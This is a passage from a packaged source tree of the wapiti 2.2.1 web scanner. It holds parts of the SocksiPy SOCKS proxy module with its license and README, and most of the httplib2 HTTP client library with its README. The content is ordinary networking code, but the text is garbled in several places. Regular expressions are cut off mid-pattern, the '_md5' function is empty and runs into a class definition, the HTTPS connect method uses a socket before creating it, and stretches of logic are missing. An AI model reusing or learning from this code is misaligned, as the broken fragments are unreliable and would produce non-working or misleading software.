(boundaddr,boundport) if ipaddr != None: self.__proxypeername = (socket.inet_ntoa(ipaddr),destport) else: self.__proxypeername = (destaddr,destport) def getproxysockname(self): """getsockname() -> address info Returns the bound IP address and port number at the proxy. """ return self.__proxysockname def getproxypeername(self): """getproxypeername() -> address info Returns the IP and port number of the proxy. """ return _orgsocket.getpeername(self) def getpeername(self): """getpeername() -> address info Returns the IP address and port number of the destination machine (note: getproxypeername returns the proxy) """ return self.__proxypeername def __negotiatesocks4(self,destaddr,destport): """__negotiatesocks4(self,destaddr,destport) Negotiates a connection through a SOCKS4 server. """ # Check if the destination address provided is an IP address rmtrslv = False try: ipaddr = socket.inet_aton(destaddr) except socket.error: # It's a DNS name. Check where it should be resolved. if self.__proxy[3]==True: ipaddr = "\x00\x00\x00\x01" rmtrslv = True else: ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) # Construct the request packet req = "\x04\x01" + struct.pack(">H",destport) + ipaddr # The username parameter is considered userid for SOCKS4 if self.__proxy[4] != None: req = req + self.__proxy[4] req = req + "\x00" # DNS name if remote resolving is required # NOTE: This is actually an extension to the SOCKS4 protocol # called SOCKS4A and may not be supported in all cases. if rmtrslv==True: req = req + destaddr + "\x00" self.sendall(req) # Get the response from the server resp = self.__recvall(8) if resp[0] != "\x00": # Bad data self.close() raise GeneralProxyError((1,_generalerrors[1])) if resp[1] != "\x5A": # Server returned an error self.close() if ord(resp[1]) in (91,92,93): self.close() raise Socks4Error((ord(resp[1]),_socks4errors[ord(resp[1])-90])) else: raise Socks4Error((94,_socks4errors[4])) # Get the bound address/port self.__proxysockname = (socket.inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0]) if rmtrslv != None: self.__proxypeername = (socket.inet_ntoa(ipaddr),destport) else: self.__proxypeername = (destaddr,destport) def __negotiatehttp(self,destaddr,destport): """__negotiatehttp(self,destaddr,destport) Negotiates a connection through an HTTP server. """ # If we need to resolve locally, we do this now if self.__proxy[3] == False: addr = socket.gethostbyname(destaddr) else: addr = destaddr self.sendall("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n") # We read the response until we get the string "\r\n\r\n" resp = self.recv(1) while resp.find("\r\n\r\n")==-1: resp = resp + self.recv(1) # We just need the first line to check if the connection # was successful statusline = resp.splitlines()[0].split(" ",2) if statusline[0] not in ("HTTP/1.0","HTTP/1.1"): self.close() raise GeneralProxyError((1,_generalerrors[1])) try: statuscode = int(statusline[1]) except ValueError: self.close() raise GeneralProxyError((1,_generalerrors[1])) if statuscode != 200: self.close() raise HTTPError((statuscode,statusline[2])) self.__proxysockname = ("0.0.0.0",0) self.__proxypeername = (addr,destport) def connect(self,destpair): """connect(self,despair) Connects to the specified destination through a proxy. destpar - A tuple of the IP/DNS address and the port number. (identical to socket's connect). To select the proxy server use setproxy(). """ # Do a minimal input check first if (type(destpair) in (list,tuple)==False) or (len(destpair)<2) or (type(destpair[0])!=str) or (type(destpair[1])!=int): raise GeneralProxyError((5,_generalerrors[5])) if self.__proxy[0] == PROXY_TYPE_SOCKS5: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 1080 _orgsocket.connect(self,(self.__proxy[1],portnum)) self.__negotiatesocks5(destpair[0],destpair[1]) elif self.__proxy[0] == PROXY_TYPE_SOCKS4: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 1080 _orgsocket.connect(self,(self.__proxy[1],portnum)) self.__negotiatesocks4(destpair[0],destpair[1]) elif self.__proxy[0] == PROXY_TYPE_HTTP: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 3128 _orgsocket.connect(self,(self.__proxy[1],portnum)) self.__negotiatehttp(destpair[0],destpair[1]) elif self.__proxy[0] == None: if self.__proxy[2] != None: portnum = self.__proxy[2] else: portnum = 8080 _orgsocket.connect(self,(self.__proxy[1],portnum)) else: raise GeneralProxyError((4,_generalerrors[4])) wapiti-2.2.1/src/net/httplib2/LICENSE-socks0000644000000000000000000000261711076712263016754 0ustar rootrootCopyright 2006 Dan-Haim. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Dan Haim nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. wapiti-2.2.1/src/net/httplib2/README-socks0000644000000000000000000002202111076712263016616 0ustar rootrootSocksiPy version 1.00 A Python SOCKS module. (C) 2006 Dan-Haim. All rights reserved. See LICENSE file for details. WHAT IS A SOCKS PROXY? A SOCKS proxy is a proxy server at the TCP level. In other words, it acts as a tunnel, relaying all traffic going through it without modifying it. SOCKS proxies can be used to relay traffic using any network protocol that uses TCP. WHAT IS SOCKSIPY? This Python module allows you to create TCP connections through a SOCKS proxy without any special effort. PROXY COMPATIBILITY SocksiPy is compatible with three different types of proxies: 1. SOCKS Version 4 (Socks4), including the Socks4a extension. 2. SOCKS Version 5 (Socks5). 3. HTTP Proxies which support tunneling using the CONNECT method. SYSTEM REQUIREMENTS Being written in Python, SocksiPy can run on any platform that has a Python interpreter and TCP/IP support. This module has been tested with Python 2.3 and should work with greater versions just as well. INSTALLATION ------------- Simply copy the file "socks.py" to your Python's lib/site-packages directory, and you're ready to go. USAGE ------ First load the socks module with the command: >>> import socks >>> The socks module provides a class called "socksocket", which is the base to all of the module's functionality. The socksocket object has the same initialization parameters as the normal socket object to ensure maximal compatibility, however it should be noted that socksocket will only function with family being AF_INET and type being SOCK_STREAM. Generally, it is best to initialize the socksocket object with no parameters >>> s = socks.socksocket() >>> The socksocket object has an interface which is very similiar to socket's (in fact the socksocket class is derived from socket) with a few extra methods. To select the proxy server you would like to use, use the setproxy method, whose syntax is: setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Explaination of the parameters: proxytype - The type of the proxy server. This can be one of three possible choices: PROXY_TYPE_SOCKS4, PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP for Socks4, Socks5 and HTTP servers respectively. addr - The IP address or DNS name of the proxy server. port - The port of the proxy server. Defaults to 1080 for socks and 8080 for http. rdns - This is a boolean flag than modifies the behavior regarding DNS resolving. If it is set to True, DNS resolving will be preformed remotely, on the server. If it is set to False, DNS resolving will be preformed locally. Please note that setting this to True with Socks4 servers actually use an extension to the protocol, called Socks4a, which may not be supported on all servers (Socks5 and http servers always support DNS). The default is True. username - For Socks5 servers, this allows simple username / password authentication with the server. For Socks4 servers, this parameter will be sent as the userid. This parameter is ignored if an HTTP server is being used. If it is not provided, authentication will not be used (servers may accept unauthentication requests). password - This parameter is valid only for Socks5 servers and specifies the respective password for the username provided. Example of usage: >>> s.setproxy(socks.PROXY_TYPE_SOCKS5,"socks.example.com") >>> After the setproxy method has been called, simply call the connect method with the traditional parameters to establish a connection through the proxy: >>> s.connect(("www.sourceforge.net",80)) >>> Connection will take a bit longer to allow negotiation with the proxy server. Please note that calling connect without calling setproxy earlier will connect without a proxy (just like a regular socket). Errors: Any errors in the connection process will trigger exceptions. The exception may either be generated by the underlying socket layer or may be custom module exceptions, whose details follow: class ProxyError - This is a base exception class. It is not raised directly but rather all other exception classes raised by this module are derived from it. This allows an easy way to catch all proxy-related errors. class GeneralProxyError - When thrown, it indicates a problem which does not fall into another category. The parameter is a tuple containing an error code and a description of the error, from the following list: 1 - invalid data - This error means that unexpected data has been received from the server. The most common reason is that the server specified as the proxy is not really a Socks4/Socks5/HTTP proxy, or maybe the proxy type specified is wrong. 4 - bad proxy type - This will be raised if the type of the proxy supplied to the setproxy function was not PROXY_TYPE_SOCKS4/PROXY_TYPE_SOCKS5/PROXY_TYPE_HTTP. 5 - bad input - This will be raised if the connect method is called with bad input parameters. class Socks5AuthError - This indicates that the connection through a Socks5 server failed due to an authentication problem. The parameter is a tuple containing a code and a description message according to the following list: 1 - authentication is required - This will happen if you use a Socks5 server which requires authentication without providing a username / password at all. 2 - all offered authentication methods were rejected - This will happen if the proxy requires a special authentication method which is not supported by this module. 3 - unknown username or invalid password - Self descriptive. class Socks5Error - This will be raised for Socks5 errors which are not related to authentication. The parameter is a tuple containing a code and a description of the error, as given by the server. The possible errors, according to the RFC are: 1 - General SOCKS server failure - If for any reason the proxy server is unable to fulfill your request (internal server error). 2 - connection not allowed by ruleset - If the address you're trying to connect to is blacklisted on the server or requires authentication. 3 - Network unreachable - The target could not be contacted. A router on the network had replied with a destination net unreachable error. 4 - Host unreachable - The target could not be contacted. A router on the network had replied with a destination host unreachable error. 5 - Connection refused - The target server has actively refused the connection (the requested port is closed). 6 - TTL expired - The TTL value of the SYN packet from the proxy to the target server has expired. This usually means that there are network problems causing the packet to be caught in a router-to-router "ping-pong". 7 - Command not supported - The client has issued an invalid command. When using this module, this error should not occur. 8 - Address type not supported - The client has provided an invalid address type. When using this module, this error should not occur. class Socks4Error - This will be raised for Socks4 errors. The parameter is a tuple containing a code and a description of the error, as given by the server. The possible error, according to the specification are: 1 - Request rejected or failed - Will be raised in the event of an failure for any reason other then the two mentioned next. 2 - request rejected because SOCKS server cannot connect to identd on the client - The Socks server had tried an ident lookup on your computer and has failed. In this case you should run an identd server and/or configure your firewall to allow incoming connections to local port 113 from the remote server. 3 - request rejected because the client program and identd report different user-ids - The Socks server had performed an ident lookup on your computer and has received a different userid than the one you have provided. Change your userid (through the username parameter of the setproxy method) to match and try again. class HTTPError - This will be raised for HTTP errors. The parameter is a tuple containing the HTTP status code and the description of the server. After establishing the connection, the object behaves like a standard socket. Call the close method to close the connection. In addition to the socksocket class, an additional function worth mentioning is the setdefaultproxy function. The parameters are the same as the setproxy method. This function will set default proxy settings for newly created socksocket objects, in which the proxy settings haven't been changed via the setproxy method. This is quite useful if you wish to force 3rd party modules to use a socks proxy, by overriding the socket object. For example: >>> socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,"socks.example.com") >>> socket.socket = socks.socksocket >>> urllib.urlopen("http://www.sourceforge.net/") PROBLEMS --------- If you have any problems using this module, please first refer to the BUGS file (containing current bugs and issues). If your problem is not mentioned you may contact the author at the following E-Mail address: negativeiq@users.sourceforge.net Please allow some time for your question to be received and handled. Dan-Haim, Author. wapiti-2.2.1/src/net/httplib2/README0000644000000000000000000001044511076712263015505 0ustar rootrootHttplib2 -------------------------------------------------------------------- Introduction A comprehensive HTTP client library, httplib2.py supports many features left out of other HTTP libraries. HTTP and HTTPS HTTPS support is only available if the socket module was compiled with SSL support. Keep-Alive Supports HTTP 1.1 Keep-Alive, keeping the socket open and performing multiple requests over the same connection if possible. Authentication The following three types of HTTP Authentication are supported. These can be used over both HTTP and HTTPS. * Digest * Basic * WSSE Caching The module can optionally operate with a private cache that understands the Cache-Control: header and uses both the ETag and Last-Modified cache validators. All Methods The module can handle any HTTP request method, not just GET and POST. Redirects Automatically follows 3XX redirects on GETs. Compression Handles both 'deflate' and 'gzip' types of compression. Lost update support Automatically adds back ETags into PUT requests to resources we have already cached. This implements Section 3.2 of Detecting the Lost Update Problem Using Unreserved Checkout. Unit Tested A large and growing set of unit tests. For more information on this module, see: http://bitworking.org/projects/httplib2/ -------------------------------------------------------------------- Installation The httplib2 module is shipped as a distutils package. To install the library, unpack the distribution archive, and issue the following command: $ python setup.py install -------------------------------------------------------------------- Usage A simple retrieval: import httplib2 h = httplib2.Http(".cache") (resp_headers, content) = h.request("http://example.org/", "GET") The 'content' is the content retrieved from the URL. The content is already decompressed or unzipped if necessary. To PUT some content to a server that uses SSL and Basic authentication: import httplib2 h = httplib2.Http(".cache") h.add_credentials('name', 'password') (resp, content) = h.request("https://example.org/chapter/2", "PUT", body="This is text", headers={'content-type':'text/plain'} ) Use the Cache-Control: header to control how the caching operates. import httplib2 h = httplib2.Http(".cache") (resp, content) = h.request("http://bitworking.org/", "GET") ... (resp, content) = h.request("http://bitworking.org/", "GET", headers={'cache-control':'no-cache'}) The first request will be cached and since this is a request to bitworking.org it will be set to be cached for two hours, because that is how I have my server configured. Any subsequent GET to that URI will return the value from the on-disk cache and no request will be made to the server. You can use the Cache-Control: header to change the caches behavior and in this example the second request adds the Cache-Control: header with a value of 'no-cache' which tells the library that the cached copy must not be used when handling this request. -------------------------------------------------------------------- Httplib2 Software License Copyright (c) 2006 by Joe Gregorio Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. wapiti-2.2.1/src/net/httplib2/__init__.py0000644000000000000000000013677311316442105016743 0ustar rootrootfrom __future__ import generators """ httplib2 A caching http interface that supports ETags and gzip to conserve bandwidth. Requires Python 2.3 or later Changelog: 2007-08-18, Rick: Modified so it's able to use a socks proxy if needed. """ __author__ = "Joe Gregorio (joe@bitworking.org)" __copyright__ = "Copyright 2006, Joe Gregorio" __contributors__ = ["Thomas Broyer (t.broyer@ltgt.net)", "James Antill", "Xavier Verges Farrero", "Jonathan Feinberg", "Blair Zajac", "Sam Ruby", "Louis Nyffenegger"] __license__ = "MIT" __version__ = "$Rev: 259 $" import re import sys from hashlib import md5 import email import email.Utils import email.Message import StringIO import gzip import zlib import httplib import urlparse import base64 import os import copy import calendar import time import random from hashlib import sha1 as sha import hmac from gettext import gettext as _ import socket import socks if sys.version_info >= (2,3): from iri2uri import iri2uri else: def iri2uri(uri): return uri __all__ = ['Http', 'Response', 'ProxyInfo', 'HttpLib2Error', 'RedirectMissingLocation', 'RedirectLimit', 'FailedToDecompressContent', 'UnimplementedDigestAuthOptionError', 'UnimplementedHmacDigestAuthOptionError', 'debuglevel'] # The httplib debug level, set to a non-zero value to get debug output debuglevel = 0 # Python 2.3 support if sys.version_info < (2,4): def sorted(seq): seq.sort() return seq # Python 2.3 support def HTTPResponse__getheaders(self): """Return list of (header, value) tuples.""" if self.msg is None: raise httplib.ResponseNotReady() return self.msg.items() if not hasattr(httplib.HTTPResponse, 'getheaders'): httplib.HTTPResponse.getheaders = HTTPResponse__getheaders # All exceptions raised here derive from HttpLib2Error class HttpLib2Error(Exception): pass # Some exceptions can be caught and optionally # be turned back into responses. class HttpLib2ErrorWithResponse(HttpLib2Error): def __init__(self, desc, response, content): self.response = response self.content = content HttpLib2Error.__init__(self, desc) class RedirectMissingLocation(HttpLib2ErrorWithResponse): pass class RedirectLimit(HttpLib2ErrorWithResponse): pass class FailedToDecompressContent(HttpLib2ErrorWithResponse): pass class UnimplementedDigestAuthOptionError(HttpLib2ErrorWithResponse): pass class UnimplementedHmacDigestAuthOptionError(HttpLib2ErrorWithResponse): pass class RelativeURIError(HttpLib2Error): pass class ServerNotFoundError(HttpLib2Error): pass # Open Items: # ----------- # Proxy support # Are we removing the cached content too soon on PUT (only delete on 200 Maybe?) # Pluggable cache storage (supports storing the cache in # flat files by default. We need a plug-in architecture # that can support Berkeley DB and Squid) # == Known Issues == # Does not handle a resource that uses conneg and Last-Modified but no ETag as a cache validator. # Does not handle Cache-Control: max-stale # Does not use Age: headers when calculating cache freshness. # The number of redirections to follow before giving up. # Note that only GET redirects are automatically followed. # Will also honor 301 requests by saving that info and never # requesting that URI again. DEFAULT_MAX_REDIRECTS = 5 # Which headers are hop-by-hop headers by default HOP_BY_HOP = ['connection', 'keep-alive', 'proxy-authenticate', 'proxy-authorization', 'te', 'trailers', 'transfer-encoding', 'upgrade'] def _get_end2end_headers(response): hopbyhop = list(HOP_BY_HOP) hopbyhop.extend([x.strip() for x in response.get('connection', '').split(',')]) return [header for header in response.keys() if header not in hopbyhop] URI = re.compile(r"^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?") def parse_uri(uri): """Parses a URI using the regex given in Appendix B of RFC 3986. (scheme, authority, path, query, fragment) = parse_uri(uri) """ groups = URI.match(uri).groups() return (groups[1], groups[3], groups[4], groups[6], groups[8]) def parse_proxy(uri): """ (scheme, user_name, password, authority, port, path, query, fragment) = parse_proxy(uri) """ groups=parse_uri(uri) user_name=None password=None port=8080 proxy_type=None if groups[0] in ["socks","tor"]: port=9050 proxy_type=socks.PROXY_TYPE_SOCKS5 elif groups[0]=="socks4": port=9050 proxy_type=socks.PROXY_TYPE_SOCKS4 elif groups[0]=="connect": port=3128 proxy_type=socks.PROXY_TYPE_HTTP server=groups[1] if groups[1].find("@")>0: creds,server=groups[1].split("@") if creds.find(":")>0: user_name,password=creds.split(":") if server.find(":")>0: server,s_port=server.split(":") if s_port.isdigit(): port=int(s_port) return (proxy_type,user_name,password,server,port,groups[2],groups[3],groups[4]) def urlnorm(uri): (scheme, authority, path, query, fragment) = parse_uri(uri) if not scheme or not authority: raise RelativeURIError("Only absolute URIs are allowed. uri = %s" % uri) authority = authority.lower() scheme = scheme.lower() if not path: path = "/" # Could do syntax based normalization of the URI before # computing the digest. See Section 6.2.2 of Std 66. request_uri = query and "?".join([path, query]) or path scheme = scheme.lower() defrag_uri = scheme + "://" + authority + request_uri return scheme, authority, request_uri, defrag_uri # Cache filename construction (original borrowed from Venus http://intertwingly.net/code/venus/) re_url_scheme = re.compile(r'^\w+://') re_slash = re.compile(r'[?/:|]+') def safename(filename): """Return a filename suitable for the cache. Strips dangerous and common characters to create a filename we can use to store the cache in. """ try: if re_url_scheme.match(filename): if isinstance(filename,str): filename = filename.decode('utf-8') filename = filename.encode('idna') else: filename = filename.encode('idna') except UnicodeError: pass if isinstance(filename,unicode): filename=filename.encode('utf-8') filemd5 = md5(filename).hexdigest() filename = re_url_scheme.sub("", filename) filename = re_slash.sub(",", filename) # limit length of filename if len(filename)>200: filename=filename[:200] return ",".join((filename, filemd5)) NORMALIZE_SPACE = re.compile(r'(?:\r\n)?[ \t]+') def _normalize_headers(headers): return dict([ (key.title(), NORMALIZE_SPACE.sub(value, ' ').strip()) for (key, value) in headers.iteritems()]) def _parse_cache_control(headers): retval = {} if headers.has_key('cache-control'): parts = headers['cache-control'].split(',') parts_with_args = [tuple([x.strip() for x in part.split("=")]) for part in parts if -1 != part.find("=")] parts_wo_args = [(name.strip(), 1) for name in parts if -1 == name.find("=")] retval = dict(parts_with_args + parts_wo_args) return retval # Whether to use a strict mode to parse WWW-Authenticate headers # Might lead to bad results in case of ill-formed header value, # so disabled by default, falling back to relaxed parsing. # Set to true to turn on, usefull for testing servers. USE_WWW_AUTH_STRICT_PARSING = 0 # In regex below: # [^\0-\x1f\x7f-\xff()<>@,;:\\\"/[\]?={} \t]+ matches a "token" as defined by HTTP # "(?:[^\0-\x08\x0A-\x1f\x7f-\xff\\\"]|\\[\0-\x7f])*?" matches a "quoted-string" as defined by HTTP, when LWS have already been replaced by a single space # Actually, as an auth-param value can be either a token or a quoted-string, they are combined in a single pattern which matches both: # \"?((?<=\")(?:[^\0-\x1f\x7f-\xff\\\"]|\\[\0-\x7f])*?(?=\")|(?@,;:\\\"/[\]?={} \t]+(?!\"))\"? WWW_AUTH_STRICT = re.compile(r"^(?:\s*(?:,\s*)?([^\0-\x1f\x7f-\xff()<>@,;:\\\"/[\]?={} \t]+)\s*=\s*\"?((?<=\")(?:[^\0-\x08\x0A-\x1f\x7f-\xff\\\"]|\\[\0-\x7f])*?(?=\")|(?@,;:\\\"/[\]?={} \t]+(?!\"))\"?)(.*)$") WWW_AUTH_RELAXED = re.compile(r"^(?:\s*(?:,\s*)?([^ \t\r\n=]+)\s*=\s*\"?((?<=\")(?:[^\\\"]|\\.)*?(?=\")|(? current_age: retval = "FRESH" return retval def _decompressContent(response, new_content): content = new_content try: encoding = response.get('content-encoding', None) if encoding in ['gzip', 'deflate']: if encoding == 'gzip': content = gzip.GzipFile(fileobj=StringIO.StringIO(new_content)).read() if encoding == 'deflate': content = zlib.decompress(content) response['content-length'] = str(len(content)) del response['content-encoding'] except IOError: content = "" raise FailedToDecompressContent(_("Content purported to be compressed with %s but failed to decompress.") % response.get('content-encoding'), response, content) return content def _updateCache(request_headers, response_headers, content, cache, cachekey): if cachekey: cc = _parse_cache_control(request_headers) cc_response = _parse_cache_control(response_headers) if cc.has_key('no-store') or cc_response.has_key('no-store'): cache.delete(cachekey) else: info = email.Message.Message() for key, value in response_headers.iteritems(): if key not in ['status','content-encoding','transfer-encoding']: info[key] = value status = response_headers.status if status == 304: status = 200 status_header = 'status: %d\r\n' % response_headers.status header_str = info.as_string() header_str = re.sub("\r(?!\n)|(? 0: service = "cl" # No point in guessing Base or Spreadsheet #elif request_uri.find("spreadsheets") > 0: # service = "wise" auth = dict(Email=credentials[0], Passwd=credentials[1], service=service, source=headers['User-Agent']) resp, content = self.http.request("https://www.google.com/accounts/ClientLogin", method="POST", body=urlencode(auth), headers={'Content-Type': 'application/x-www-form-urlencoded'}) lines = content.split('\n') d = dict([tuple(line.split("=", 1)) for line in lines if line]) if resp.status == 403: self.Auth = "" else: self.Auth = d['Auth'] def request(self, method, request_uri, headers, content): """Modify the request headers to add the appropriate Authorization header.""" headers['authorization'] = 'GoogleLogin Auth=' + self.Auth AUTH_SCHEME_CLASSES = { "basic": BasicAuthentication, "wsse": WsseAuthentication, "digest": DigestAuthentication, "hmacdigest": HmacDigestAuthentication, "googlelogin": GoogleLoginAuthentication } AUTH_SCHEME_ORDER = ["hmacdigest", "googlelogin", "digest", "wsse", "basic"] def _md5(s): return class FileCache(object): """Uses a local directory as a store for cached files. Not really safe to use if multiple threads or processes are going to be running on the same cache. """ def __init__(self, cache, safe=safename): # use safe=lambda x: md5.new(x).hexdigest() for the old behavior self.cache = cache self.safe = safe if not os.path.exists(cache): os.makedirs(self.cache) def get(self, key): retval = None cacheFullPath = os.path.join(self.cache, self.safe(key)) try: f = file(cacheFullPath, "r") retval = f.read() f.close() except IOError: pass return retval def set(self, key, value): cacheFullPath = os.path.join(self.cache, self.safe(key)) f = file(cacheFullPath, "w") f.write(value) f.close() def delete(self, key): cacheFullPath = os.path.join(self.cache, self.safe(key)) if os.path.exists(cacheFullPath): os.remove(cacheFullPath) class Credentials(object): def __init__(self): self.credentials = [] def add(self, name, password, domain=""): self.credentials.append((domain.lower(), name, password)) def clear(self): self.credentials = [] def iter(self, domain): for (cdomain, name, password) in self.credentials: if cdomain == "" or domain == cdomain: yield (name, password) class KeyCerts(Credentials): """Identical to Credentials except that name/password are mapped to key/cert.""" pass class ProxyInfo(object): """Collect information required to use a proxy.""" def __init__(self, proxy_type, proxy_host, proxy_port, proxy_rdns=None, proxy_user=None, proxy_pass=None): """The parameter proxy_type must be set to one of socks.PROXY_TYPE_XXX constants. For example: p = ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host='localhost', proxy_port=8000) """ self.proxy_type, self.proxy_host, self.proxy_port, self.proxy_rdns, self.proxy_user, self.proxy_pass = proxy_type, proxy_host, proxy_port, proxy_rdns, proxy_user, proxy_pass def astuple(self): return (self.proxy_type, self.proxy_host, self.proxy_port, self.proxy_rdns, self.proxy_user, self.proxy_pass) def isgood(self): return socks and (self.proxy_host != None) and (self.proxy_port != None) class HTTPConnectionWithTimeout(httplib.HTTPConnection): """HTTPConnection subclass that supports timeouts""" def __init__(self, host, port=None, strict=None, timeout=None, proxy_info=None): httplib.HTTPConnection.__init__(self, host, port, strict) self.timeout = timeout self.proxy_info = proxy_info def connect(self): """Connect to the host and port specified in __init__.""" # Mostly verbatim from httplib.py. msg = "getaddrinfo returns an empty list" for res in socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM): af, socktype, proto, canonname, sa = res try: if self.proxy_info and self.proxy_info.isgood(): self.sock = socks.socksocket(af, socktype, proto) self.sock.setproxy(*self.proxy_info.astuple()) else: self.sock = socket.socket(af, socktype, proto) # Different from httplib: support timeouts. if self.timeout is not None: self.sock.settimeout(float(self.timeout)) # End of difference from httplib. if self.debuglevel > 0: print "connect: (%s, %s)" % (self.host, self.port) self.sock.connect(sa) except socket.error, msg: if self.debuglevel > 0: print 'connect fail:', (self.host, self.port) if self.sock: self.sock.close() self.sock = None continue break if not self.sock: raise socket.error, msg class HTTPSConnectionWithTimeout(httplib.HTTPSConnection): "This class allows communication via SSL." def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None, proxy_info=None): self.timeout = timeout self.proxy_info = proxy_info httplib.HTTPSConnection.__init__(self, host, port=port, key_file=key_file, cert_file=cert_file, strict=strict) def connect(self): "Connect to a host on a given (SSL) port." if self.proxy_info and self.proxy_info.isgood(): self.sock.setproxy(*self.proxy_info.astuple()) sock.setproxy(*self.proxy_info.astuple()) else: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if self.timeout is not None: sock.settimeout(float(self.timeout)) sock.connect((self.host, self.port)) ssl = socket.ssl(sock, self.key_file, self.cert_file) self.sock = httplib.FakeSocket(sock, ssl) class Http(object): """An HTTP client that handles: - all methods - caching - ETags - compression, - HTTPS - Basic - Digest - WSSE and more. """ def __init__(self, cache=None, timeout=None, proxy_info=None): """The value of proxy_info is a ProxyInfo instance. If 'cache' is a string then it is used as a directory name for a disk cache. Otherwise it must be an object that supports the same interface as FileCache.""" self.proxy_info = proxy_info # Map domain name to an httplib connection self.connections = {} # The location of the cache, for now a directory # where cached responses are held. if cache and isinstance(cache, str): self.cache = FileCache(cache) else: self.cache = cache # Name/password self.credentials = Credentials() # Key/cert self.certificates = KeyCerts() # authorization objects self.authorizations = [] # If set to False then no redirects are followed, even safe ones. self.follow_redirects = True # If 'follow_redirects' is True, and this is set to True then # all redirecs are followed, including unsafe ones. self.follow_all_redirects = False self.ignore_etag = False self.force_exception_to_status_code = False self.timeout = timeout def _auth_from_challenge(self, host, request_uri, headers, response, content): """A generator that creates Authorization objects that can be applied to requests. """ challenges = _parse_www_authenticate(response, 'www-authenticate') for cred in self.credentials.iter(host): for scheme in AUTH_SCHEME_ORDER: if challenges.has_key(scheme): yield AUTH_SCHEME_CLASSES[scheme](cred, host, request_uri, headers, response, content, self) def add_credentials(self, name, password, domain=""): """Add a name and password that will be used any time a request requires authentication.""" self.credentials.add(name, password, domain) def add_certificate(self, key, cert, domain): """Add a key and cert that will be used any time a request requires authentication.""" self.certificates.add(key, cert, domain) def clear_credentials(self): """Remove all the names and passwords that are used for authentication""" self.credentials.clear() self.authorizations = [] def _conn_request(self, conn, request_uri, method, body, headers): for i in range(2): try: conn.request(method, request_uri, body, headers) response = conn.getresponse() except socket.gaierror: conn.close() raise ServerNotFoundError("Unable to find the server at %s" % conn.host) except httplib.HTTPException, e: if i == 0: conn.close() conn.connect() continue else: raise else: content = response.read() response = Response(response) if method != "HEAD": content = _decompressContent(response, content) break; return (response, content) def _request(self, conn, host, absolute_uri, request_uri, method, body, headers, redirections, cachekey): """Do the actual request using the connection object and also follow one level of redirects if necessary""" auths = [(auth.depth(request_uri), auth) for auth in self.authorizations if auth.inscope(host, request_uri)] auth = auths and sorted(auths)[0][1] or None if auth: auth.request(method, request_uri, headers, body) ## if we use simple HTTP proxies, use absolute urls if self.proxy_info!=None and self.proxy_info.proxy_type==None: #headers["Proxy-Connection"]="Keep-Alive" (response, content) = self._conn_request(conn, absolute_uri, method, body, headers) else: (response, content) = self._conn_request(conn, request_uri, method, body, headers) if auth: if auth.response(response, body): auth.request(method, request_uri, headers, body) (response, content) = self._conn_request(conn, request_uri, method, body, headers ) response._stale_digest = 1 if response.status == 401: for authorization in self._auth_from_challenge(host, request_uri, headers, response, content): authorization.request(method, request_uri, headers, body) (response, content) = self._conn_request(conn, request_uri, method, body, headers, ) if response.status != 401: self.authorizations.append(authorization) authorization.response(response, body) break if (self.follow_all_redirects or (method in ["GET", "HEAD"]) or response.status == 303): if self.follow_redirects and response.status in [300, 301, 302, 303, 307]: # Pick out the location header and basically start from the beginning # remembering first to strip the ETag header and decrement our 'depth' if redirections: if not response.has_key('location') and response.status != 300: raise RedirectMissingLocation( _("Redirected but the response is missing a Location: header."), response, content) # Fix-up relative redirects (which violate an RFC 2616 MUST) if response.has_key('location'): location = response['location'] (scheme, authority, path, query, fragment) = parse_uri(location) if authority == None: response['location'] = urlparse.urljoin(absolute_uri, location) if response.status == 301 and method in 